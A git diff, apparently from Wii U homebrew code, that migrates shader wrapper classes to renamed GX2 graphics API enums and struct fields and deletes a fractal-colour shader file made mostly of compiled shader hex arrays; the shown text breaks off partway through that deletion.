GX2_ATTRIB_FORMAT_FLOAT_32_32); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); @@ -202,14 +202,14 @@ FXAAShader::FXAAShader() posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVtxs, ciPositionVtxsSize); i = 0; texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, texCoords, ciTexCoordsVtxsSize); } FXAAShader::~FXAAShader() diff --git a/src/video/shaders/FXAAShader.h b/src/video/shaders/FXAAShader.h index b7604bc..30d9c5d 100644 --- a/src/video/shaders/FXAAShader.h +++ b/src/video/shaders/FXAAShader.h @@ -56,8 +56,8 @@ public: } void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { - GX2SetPixelTexture(texture, samplerLocation); - GX2SetPixelSampler(sampler, samplerLocation); + GX2SetPixelTexture((GX2Texture*)texture, samplerLocation); + GX2SetPixelSampler((GX2Sampler*)sampler, samplerLocation); } private: diff --git a/src/video/shaders/FetchShader.h b/src/video/shaders/FetchShader.h index 292052f..8152178 100644 --- a/src/video/shaders/FetchShader.h +++ b/src/video/shaders/FetchShader.h @@ -22,17 +22,17 @@ class FetchShader : public Shader { public: - FetchShader(GX2AttribStream * attributes, u32 attrCount, s32 type = GX2_FETCH_SHADER_TESSELATION_NONE, s32 tess = GX2_TESSELLATION_MODE_DISCRETE) + FetchShader(GX2AttribStream * attributes, u32 attrCount, GX2FetchShaderType type = GX2_FETCH_SHADER_TESSELLATION_NONE, GX2TessellationMode tess = GX2_TESSELLATION_MODE_DISCRETE) : fetchShader(NULL) , fetchShaderProgramm(NULL) { u32 shaderSize = GX2CalcFetchShaderSizeEx(attrCount, type, tess); - fetchShaderProgramm = memalign(GX2_SHADER_ALIGNMENT, shaderSize); + fetchShaderProgramm = (uint8_t*)memalign(GX2_SHADER_ALIGNMENT, shaderSize); if(fetchShaderProgramm) { fetchShader = new GX2FetchShader; GX2InitFetchShaderEx(fetchShader, fetchShaderProgramm, attrCount, attributes, type, tess); - GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, fetchShaderProgramm, shaderSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_SHADER, fetchShaderProgramm, shaderSize); } } virtual ~FetchShader() { @@ -52,7 +52,7 @@ public: protected: GX2FetchShader *fetchShader; - void *fetchShaderProgramm; + uint8_t *fetchShaderProgramm; }; #endif // FETCH_SHADER_H diff --git a/src/video/shaders/PixelShader.h b/src/video/shaders/PixelShader.h index a1fa76b..8bb8a8e 100644 --- a/src/video/shaders/PixelShader.h +++ b/src/video/shaders/PixelShader.h @@ -28,39 +28,39 @@ public: if(pixelShader) { memset(pixelShader, 0, sizeof(GX2PixelShader)); - pixelShader->shader_mode = GX2_SHADER_MODE_UNIFORM_REGISTER; + pixelShader->mode = GX2_SHADER_MODE_UNIFORM_REGISTER; } } virtual ~PixelShader() { if(pixelShader) { - if(pixelShader->shader_data) - free(pixelShader->shader_data); + if(pixelShader->program) + free(pixelShader->program); - for(u32 i = 0; i < pixelShader->uniform_blocks_count; i++) - free((void*)pixelShader->uniform_block[i].name); + for(u32 i = 0; i < pixelShader->uniformBlockCount; i++) + free((void*)pixelShader->uniformBlocks[i].name); - if(pixelShader->uniform_block) - free((void*)pixelShader->uniform_block); + if(pixelShader->uniformBlocks) + free((void*)pixelShader->uniformBlocks); - for(u32 i = 0; i < pixelShader->uniform_vars_count; i++) - free((void*)pixelShader->uniform_var[i].name); + for(u32 i = 0; i < pixelShader->uniformVarCount; i++) + free((void*)pixelShader->uniformVars[i].name); - if(pixelShader->uniform_var) - free((void*)pixelShader->uniform_var); + if(pixelShader->uniformVars) + free((void*)pixelShader->uniformVars); - if(pixelShader->initial_value) - free((void*)pixelShader->initial_value); + if(pixelShader->initialValues) + free((void*)pixelShader->initialValues); - for(u32 i = 0; i < pixelShader->sampler_vars_count; i++) - free((void*)pixelShader->sampler_var[i].name); + for(u32 i = 0; i < pixelShader->samplerVarCount; i++) + free((void*)pixelShader->samplerVars[i].name); - if(pixelShader->sampler_var) - free((void*)pixelShader->sampler_var); + if(pixelShader->samplerVars) + free((void*)pixelShader->samplerVars); - if(pixelShader->loops_data) - free((void*)pixelShader->loops_data); + if(pixelShader->loopVars) + free((void*)pixelShader->loopVars); free(pixelShader); } @@ -72,15 +72,15 @@ public: return; //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100 - pixelShader->shader_size = programSize; - pixelShader->shader_data = memalign(GX2_SHADER_ALIGNMENT, pixelShader->shader_size); - if(pixelShader->shader_data) + pixelShader->size = programSize; + pixelShader->program = (u8*)memalign(GX2_SHADER_ALIGNMENT, pixelShader->size); + if(pixelShader->program) { - memcpy(pixelShader->shader_data, program, pixelShader->shader_size); - GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, pixelShader->shader_data, pixelShader->shader_size); + memcpy(pixelShader->program, program, pixelShader->size); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_SHADER, pixelShader->program, pixelShader->size); } - memcpy(pixelShader->regs, regs, regsSize); + memcpy(&pixelShader->regs, regs, regsSize); } void addUniformVar(const GX2UniformVar & var) @@ -88,23 +88,23 @@ public: if(!pixelShader) return; - u32 idx = pixelShader->uniform_vars_count; + u32 idx = pixelShader->uniformVarCount; - GX2UniformVar* newVar = (GX2UniformVar*) malloc((pixelShader->uniform_vars_count + 1) * sizeof(GX2UniformVar)); + GX2UniformVar* newVar = (GX2UniformVar*) malloc((pixelShader->uniformVarCount + 1) * sizeof(GX2UniformVar)); if(newVar) { - if(pixelShader->uniform_var) + if(pixelShader->uniformVars) { - memcpy(newVar, pixelShader->uniform_var, pixelShader->uniform_vars_count * sizeof(GX2UniformVar)); - free(pixelShader->uniform_var); + memcpy(newVar, pixelShader->uniformVars, pixelShader->uniformVarCount * sizeof(GX2UniformVar)); + free(pixelShader->uniformVars); } - pixelShader->uniform_var = newVar; + pixelShader->uniformVars = newVar; - memcpy(pixelShader->uniform_var + idx, &var, sizeof(GX2UniformVar)); - pixelShader->uniform_var[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)pixelShader->uniform_var[idx].name, var.name); + memcpy(pixelShader->uniformVars + idx, &var, sizeof(GX2UniformVar)); + pixelShader->uniformVars[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)pixelShader->uniformVars[idx].name, var.name); - pixelShader->uniform_vars_count++; + pixelShader->uniformVarCount++; } } @@ -113,23 +113,23 @@ public: if(!pixelShader) return; - u32 idx = pixelShader->sampler_vars_count; + u32 idx = pixelShader->samplerVarCount; - GX2SamplerVar* newVar = (GX2SamplerVar*) malloc((pixelShader->sampler_vars_count + 1) * sizeof(GX2SamplerVar)); + GX2SamplerVar* newVar = (GX2SamplerVar*) malloc((pixelShader->samplerVarCount + 1) * sizeof(GX2SamplerVar)); if(newVar) { - if(pixelShader->sampler_var) + if(pixelShader->samplerVars) { - memcpy(newVar, pixelShader->sampler_var, pixelShader->sampler_vars_count * sizeof(GX2SamplerVar)); - free(pixelShader->sampler_var); + memcpy(newVar, pixelShader->samplerVars, pixelShader->samplerVarCount * sizeof(GX2SamplerVar)); + free(pixelShader->samplerVars); } - pixelShader->sampler_var = newVar; + pixelShader->samplerVars = newVar; - memcpy(pixelShader->sampler_var + idx, &var, sizeof(GX2SamplerVar)); - pixelShader->sampler_var[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)pixelShader->sampler_var[idx].name, var.name); + memcpy(pixelShader->samplerVars + idx, &var, sizeof(GX2SamplerVar)); + pixelShader->samplerVars[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)pixelShader->samplerVars[idx].name, var.name); - pixelShader->sampler_vars_count++; + pixelShader->samplerVarCount++; } } GX2PixelShader * getPixelShader() const { @@ -141,7 +141,7 @@ public: } static inline void setUniformReg(u32 location, u32 size, const void * reg) { - GX2SetPixelUniformReg(location, size, reg); + GX2SetPixelUniformReg(location, size, (uint32_t *)reg); } protected: GX2PixelShader *pixelShader; diff --git a/src/video/shaders/Shader.h b/src/video/shaders/Shader.h index 93741d5..2c4f580 100644 --- a/src/video/shaders/Shader.h +++ b/src/video/shaders/Shader.h @@ -19,9 +19,18 @@ #include "glm/glm.hpp" #include "glm/gtc/matrix_transform.hpp" -#include "dynamic_libs/gx2_functions.h" #include "utils/utils.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include "common/gx2_ext.h" + class Shader { protected: @@ -36,34 +45,34 @@ public: GX2SetLineWidth(width); } - static void draw(s32 primitive = GX2_PRIMITIVE_QUADS, u32 vtxCount = 4) + static void draw(s32 primitive = GX2_PRIMITIVE_MODE_QUADS, u32 vtxCount = 4) { switch(primitive) { default: - case GX2_PRIMITIVE_QUADS: + case GX2_PRIMITIVE_MODE_QUADS: { - GX2DrawEx(GX2_PRIMITIVE_QUADS, vtxCount, 0, 1); + GX2DrawEx(GX2_PRIMITIVE_MODE_QUADS, vtxCount, 0, 1); break; } - case GX2_PRIMITIVE_TRIANGLES: + case GX2_PRIMITIVE_MODE_TRIANGLES: { - GX2DrawEx(GX2_PRIMITIVE_TRIANGLES, vtxCount, 0, 1); + GX2DrawEx(GX2_PRIMITIVE_MODE_TRIANGLES, vtxCount, 0, 1); break; } - case GX2_PRIMITIVE_TRIANGLE_FAN: + case GX2_PRIMITIVE_MODE_TRIANGLE_FAN: { - GX2DrawEx(GX2_PRIMITIVE_TRIANGLE_FAN, vtxCount, 0, 1); + GX2DrawEx(GX2_PRIMITIVE_MODE_TRIANGLE_FAN, vtxCount, 0, 1); break; } - case GX2_PRIMITIVE_LINES: + case GX2_PRIMITIVE_MODE_LINES: { - GX2DrawEx(GX2_PRIMITIVE_LINES, vtxCount, 0, 1); + GX2DrawEx(GX2_PRIMITIVE_MODE_LINES, vtxCount, 0, 1); break; } - case GX2_PRIMITIVE_LINE_STRIP: + case GX2_PRIMITIVE_MODE_LINE_STRIP: { - GX2DrawEx(GX2_PRIMITIVE_LINE_STRIP, vtxCount, 0, 1); + GX2DrawEx(GX2_PRIMITIVE_MODE_LINE_STRIP, vtxCount, 0, 1); break; } //! TODO: add other primitives later diff --git a/src/video/shaders/Shader3D.cpp b/src/video/shaders/Shader3D.cpp index 6857cd1..0824be6 100644 --- a/src/video/shaders/Shader3D.cpp +++ b/src/video/shaders/Shader3D.cpp @@ -198,12 +198,12 @@ Shader3D::Shader3D() colorIntensityLocation = 0; fadeDistanceLocation = 4; fadeOutLocation = 8; - pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_distance", GX2_VAR_TYPE_FLOAT, 1, fadeDistanceLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_out_alpha", GX2_VAR_TYPE_VEC4, 1, fadeOutLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_SHADER_VAR_TYPE_FLOAT4, 1, colorIntensityLocation, -1 }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_distance", GX2_SHADER_VAR_TYPE_FLOAT, 1, fadeDistanceLocation, -1 }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_out_alpha", GX2_SHADER_VAR_TYPE_FLOAT4, 1, fadeOutLocation, -1 }); samplerLocation = 0; - pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); + pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_VAR_TYPE_SAMPLER_2D, samplerLocation }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); @@ -211,18 +211,18 @@ Shader3D::Shader3D() modelMatrixLocation = 0; projectionMatrixLocation = 16; viewMatrixLocation = 32; - vertexShader.addUniformVar((GX2UniformVar){ "modelMatrix", GX2_VAR_TYPE_MAT4, 1, modelMatrixLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "viewMatrix", GX2_VAR_TYPE_MAT4, 1, projectionMatrixLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "projectionMatrix", GX2_VAR_TYPE_MAT4, 1, viewMatrixLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "modelMatrix", GX2_SHADER_VAR_TYPE_MATRIX4X4, 1, modelMatrixLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "viewMatrix", GX2_SHADER_VAR_TYPE_MATRIX4X4, 1, projectionMatrixLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "projectionMatrix", GX2_SHADER_VAR_TYPE_MATRIX4X4, 1, viewMatrixLocation, -1 }); positionLocation = 0; texCoordLocation = 1; - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT4, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_SHADER_VAR_TYPE_FLOAT2, 0, texCoordLocation }); //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); @@ -238,14 +238,14 @@ Shader3D::Shader3D() posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVtxs, ciPositionVtxsSize); i = 0; texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, texCoords, ciTexCoordsVtxsSize); } Shader3D::~Shader3D() diff --git a/src/video/shaders/Shader3D.h b/src/video/shaders/Shader3D.h index 7289152..1b30b3f 100644 --- a/src/video/shaders/Shader3D.h +++ b/src/video/shaders/Shader3D.h @@ -111,8 +111,8 @@ public: } void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { - GX2SetPixelTexture(texture, samplerLocation); - GX2SetPixelSampler(sampler, samplerLocation); + GX2SetPixelTexture((GX2Texture*)texture, samplerLocation); + GX2SetPixelSampler((GX2Sampler*)sampler, samplerLocation); } }; diff --git a/src/video/shaders/ShaderFractalColor.cpp b/src/video/shaders/ShaderFractalColor.cpp deleted file mode 100644 index 7e8624c..0000000 --- a/src/video/shaders/ShaderFractalColor.cpp +++ /dev/null @@ -1,373 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include "ShaderFractalColor.h" - -static const u32 cpVertexShaderProgram[] = -{ - 0x00000000,0x00008009,0x20000000,0x0000eca1, - 0x00c00000,0x88068093,0x01400200,0x9a048013, - 0x9c000000,0x000044a0,0x3c200000,0x88060094, - 0x02400000,0x88062014,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x0765a101,0x9000e00f,0x0761a101,0x9000e02f, - 0x03001f00,0x900c8040,0x03041f80,0x900c8060, - 0x076da101,0x9000e04f,0x0769a181,0x9000e06f, - 0x0745a101,0x9000c00f,0x0741a181,0x9000c02f, - 0x074da101,0x9000c04f,0x0749a181,0x9000c06f, - 0x0bc9a000,0x7f00e20f,0x0bc92080,0x7f04e22f, - 0x0bc9a001,0x7f08e24f,0x0bc92081,0x7f0ce26f, - 0x0725a101,0x9000a00f,0x0721a181,0x9000a02f, - 0x072da101,0x9000a04f,0x0729a181,0x9000a06f, - 0x0ac9a000,0x7e00c20f,0x0ac92080,0x7e04c22f, - 0x0ac9a001,0x7e08c24f,0x0ac92081,0x7e0cc26f, - 0x0ba5a000,0x7f00e20f,0x0ba52080,0x7f04e22f, - 0x0ba5a001,0x7f08e24f,0x0ba52081,0x7f0ce26f, - 0x08eda000,0x9000800f,0x08ed2080,0x9000802f, - 0x08eda001,0x9000804f,0x08ed2081,0x9000806f, - 0x09c9a000,0x7d00a20f,0x09c92080,0x7d04a22f, - 0x09c9a001,0x7d08a24f,0x09c92081,0x7d0ca26f, - 0x0aa5a000,0x7e00c20f,0x0aa52080,0x7e04c22f, - 0x0aa5a001,0x7e08c24f,0x0aa52081,0x7e0cc26f, - 0x0b81a000,0x7f006200,0x0b812080,0x7f046220, - 0x0b81a001,0x7f080240,0x0b812081,0x7f0c0260, - 0x08c9a000,0x7c00820f,0x08c92080,0x7c04822f, - 0x08c9a001,0x7c08824f,0x08c92081,0x7c0c826f, - 0x09a5a000,0x7d00a20f,0x09a52080,0x7d04a22f, - 0x09a5a001,0x7d08a24f,0x09a52081,0x7d0ca26f, - 0x0a81a000,0x7e008200,0x0a812080,0x7e048220, - 0x0a81a001,0x7e086240,0x0a812081,0x7e0c4260, - 0x0340a001,0x9000c00f,0x0344a001,0x9000c02f, - 0x0048a001,0x9000c04f,0x004ca001,0x9000c06f, - 0x0364a081,0x9000e02f,0x0360a001,0x9000e00f, - 0x0324a001,0x90000020,0x0068a001,0x9000e04f, - 0x006ca001,0x9000e06f,0x0320a081,0x90000000, - 0x08a5a000,0x7c00820f,0x08a52080,0x7c04822f, - 0x08a5a001,0x7c08824f,0x08a52081,0x7c0c826f, - 0x0981a000,0x7d00a200,0x09812080,0x7d04a220, - 0x0981a001,0x7d08a240,0x09812081,0x7d0c6260, - 0x02890000,0x7e00c20f,0x02898000,0x7e04c22f, - 0x0028a001,0x9000a04f,0x002ca001,0x9000c06f, - 0x02498081,0x7e0caa6f,0x03890000,0x7f00e20f, - 0x03898000,0x7f04e22f,0x02690001,0x7e08f64f, - 0x03498001,0x7f0ce26f,0x03690081,0x7f08ca4f, - 0x0881a000,0x7c00c200,0x08812080,0x7c04c220, - 0x0881a001,0x7c08e240,0x08812081,0x7c0ca260, - 0x0300a001,0x9000800f,0x0304a001,0x9000802f, - 0x0008a001,0x9000804f,0x000ca001,0x9000806f, - 0x01898080,0x0004aa2f,0x01890000,0x0000a20f, - 0x02a58000,0x7e04c22f,0x01690001,0x7d08a24f, - 0x01498081,0x7e0cc26f,0x02a50000,0x7e00f60f, - 0x03a58000,0x7f04622f,0x02a50001,0x7f08e24f, - 0x02658001,0x7d0ca26f,0x03a50080,0x7f00ca0f, - 0x00890000,0x7c00820f,0x00898000,0x7c049220, - 0x03a50001,0x7e08c24f,0x03658001,0x7f0ce26f, - 0x03c18080,0xfe04862f,0x01a50000,0x7d008200, - 0x01a58000,0x7d04622f,0x00690001,0x7c086240, - 0x00498081,0x7c0c4260,0x02c10000,0x7f00e20f, - 0x02c18000,0x7e04c62f,0x01a50001,0x7d080240, - 0x01658001,0x7e0c0260,0x01c18080,0xfe040620, - 0x03c10000,0x7e00620f,0x03a18001,0x7f0c622f, - 0x02e10001,0x7f08764f,0x02a18001,0x7d0c766f, - 0x03e10081,0x7e084a0f,0x02e80f00,0xfe000e00, - 0x02c88f00,0x7c046220,0x02c81f01,0xff00c240, - 0x02c89f01,0xfe04c260,0x00a50080,0x7c00aa00, - 0x01c10000,0x0400760f,0x00a58000,0x0404622f, - 0x00a50001,0x0308e24f,0x00658001,0x020c626f, - 0x00c10080,0x0500ea0f,0x02c41f00,0x0000620f, - 0x00c18000,0xfe04c22f,0x01e10001,0x0008624f, - 0x01a18001,0x000c666f,0x00a18081,0xfe0ce66f, - 0x00e10001,0x7f08620f,0x02048000,0x03046a2f, - 0x02c41f01,0x06086a4f,0x02c49f01,0x060c6a6f, - 0x02e00f80,0xfe000220,0x02c08f00,0xfe040200, - 0x02e08f01,0xfe0c0240,0x02c01f80,0xfe080260, - 0x8aa480ad,0x2bfc5ca6,0xb5e05b5b,0xd48dc71c -}; - -static const u32 cpVertexShaderRegs[] = { - 0x00000108,0x00000000,0x00000004,0x00000001, - 0xff000201,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0x00000000,0xfffffff8, - 0x00000003,0x00000001,0x00000000,0x00000002, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x00000000,0x0000000e,0x00000010 -}; - -static const u32 cpPixelShaderProgram[] = -{ - 0x20000000,0x000008a4,0x04000000,0x01004085, - 0x23000000,0x0000eca1,0x9f000000,0x0000e0a8, - 0xd8000000,0x000000a4,0x07000000,0x01004085, - 0xd9000000,0x000048a8,0xec000000,0x000000a4, - 0x0a000000,0x01004085,0xed000000,0x000050a8, - 0x02010000,0x000030a0,0x00000000,0x88062094, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0xfd001f80,0x900c0060,0x0000803f,0x00000000, - 0x03011f80,0x8c210000,0xfd001f00,0x900c0000, - 0xfd001f00,0x900ca02f,0x00000002,0x80020040, - 0x00048002,0x80020060,0xf8001f80,0x900cc04f, - 0x0000803f,0x00000000,0xfea81f00,0x9000e00f, - 0xfeac1f00,0x9000e02f,0xf8001f00,0x900c804f, - 0xf8001f80,0x900ca06f,0x00000040,0x00000000, - 0xfea01f00,0x00280000,0xfea41f00,0x00280020, - 0xfe041f00,0x00280040,0xfd041f80,0x00280060, - 0xaf67bb3e,0x00000080,0x7fc41f00,0x00000000, - 0x7fc01f80,0x00000020,0xfe041f00,0x100ac00f, - 0xfe001f80,0x100ac02f,0xfea01f00,0x00280000, - 0xfea41f00,0x00280020,0xfe041f00,0x00280040, - 0xfd041f00,0x1028e06f,0x7fc01f82,0x00000000, - 0x8c65583e,0x00000080,0x7ea41f00,0x80000000, - 0x7ea01f00,0x80000020,0xfee01f00,0x10006040, - 0x7fc48f82,0x00000860,0xa7c4623b,0x00000000, - 0xfea81f00,0x1000e00f,0x7fcc9f01,0x10006020, - 0xfe001f00,0x000a0040,0xfe041f00,0x000a0060, - 0xfea89f80,0x10008040,0x8c65583e,0x3acd13bf, - 0xfeb81f00,0x7e04c20f,0xfebc1f00,0x7e00822f, - 0x03c89f00,0x80060040,0xfea49f00,0x1000e06f, - 0xfea41f81,0x10006060,0x00809043,0x8c65583e, - 0x3acd13bf,0x00000000,0xfea81f00,0xf880a30f, - 0xfe001f00,0x900ca02f,0x7dc41f00,0x1000e04f, - 0xfe081f00,0xfd80636f,0x04081f80,0x900c800f, - 0x0000803f,0x00000000,0xfea81f00,0xf900620f, - 0xfea41f00,0xf900622f,0xfe0c1f00,0x900ca04f, - 0xfec00f00,0x1000c46f,0xfefc0f80,0x10006000, - 0x00000842,0x00000000,0xfeac1f00,0xf900620f, - 0x7fc81f00,0x9000c02f,0x7dc49f00,0x9000e04f, - 0x7df08f01,0x10008060,0x030c1f80,0x900ca02f, - 0x00000842,0x00000000,0xfea41f00,0x80000000, - 0x7ecc1f00,0x9000e02f,0x7e688000,0x80000040, - 0xfea81f00,0x80000060,0x7d6c8081,0x80000000, - 0xa7c4623b,0x00000000,0xfe001f00,0x000a0000, - 0xfe0c1f00,0x000a0020,0xfea41f00,0x80000040, - 0x03648000,0xfe08626f,0x7d648081,0xff00420f, - 0xa7c4623b,0x00000000,0xfeb01f00,0x7e04620f, - 0xfeb41f00,0x7f08662f,0x7c800001,0xff006e4f, - 0xfe081f00,0x000a0060,0x03680081,0xfe0c4e0f, - 0x00809043,0x00000000,0xfebc1f00,0x7f04620f, - 0x7cc41f00,0x00000020,0x7cc49f00,0x1000e04f, - 0xff901f00,0x00000060,0xfe981f80,0x00000000, - 0x00809043,0x00000000,0xfea81f00,0xf900620f, - 0x7cc41f00,0x00000020,0x00c09f00,0x1000c04f, - 0xfe0c1f00,0x80010060,0xff001f80,0x80010000, - 0x00000842,0x00000000,0xfea81f00,0xf900620f, - 0xfecc9f01,0x80000020,0x7fc81f00,0x9000e04f, - 0x7dc89f00,0x1000c86f,0xffe01f80,0x80000000, - 0x00000842,0x00000000,0xfeac1f00,0xf900620f, - 0x7ec81f00,0x9000802f,0xfec49f00,0x9000a040, - 0xfea89f00,0x80000060,0xffe01f80,0x9000a060, - 0x00000842,0xa7c4623b,0xfea41f00,0x80000000, - 0x7ecc1f00,0x9000e02f,0xfe0c1f00,0x000a0040, - 0x7c888081,0x80000000,0xa7c4623b,0x00000000, - 0xfe001f00,0x000a0000,0xfeb81f00,0x7f08622f, - 0xfea49f00,0x80000040,0x048c8081,0xff00420f, - 0x00809043,0xa7c4623b,0xfeb01f00,0x7c04620f, - 0x03600000,0xff00622f,0xfea49f00,0x80000040, - 0xfe081f80,0x000a0060,0x00809043,0x0ccec73c, - 0xfebc1f00,0x7f040200,0xfea09f00,0x90000020, - 0xfe941f00,0x10000040,0xfe081f80,0x30080060, - 0x00809043,0x0ccec73c,0x00041f00,0x20080000, - 0x00a01f00,0x80000020,0x002c1f02,0x1000e04f, - 0x00081f80,0x80010060,0x0ccec73c,0x00000000, - 0xfe201f02,0x1000800f,0xfec81f03,0x80020020, - 0xfe041f00,0x20080040,0xfe881f00,0x00000060, - 0xfecc9f81,0x9000a06f,0xfe0c1f00,0x000a0000, - 0xfe801f00,0x00000020,0xfec01f02,0x80020040, - 0xfe281f02,0x1000c06f,0xfe841f82,0x1000804f, - 0xfe041f00,0x000a0000,0x7fc81f02,0x00000020, - 0xfe8c1f00,0x00000040,0xfecc9f03,0x80020060, - 0xfe881f82,0x1000a00f,0x7cc01f02,0x00000000, - 0xfe8c1f02,0x1000e02f,0xfec49f00,0x80000040, - 0xfe081f00,0x000a0060,0x03c89f80,0x9000e04f, - 0x7ecc9f03,0x00000000,0xfec01f00,0x80000020, - 0x04c81f00,0x80000040,0x7c880f01,0xfe086a6f, - 0x7dac8f81,0x9000800f,0x7da00f00,0xfe04620f, - 0xfec01f00,0x80000020,0x03c01f00,0x80000840, - 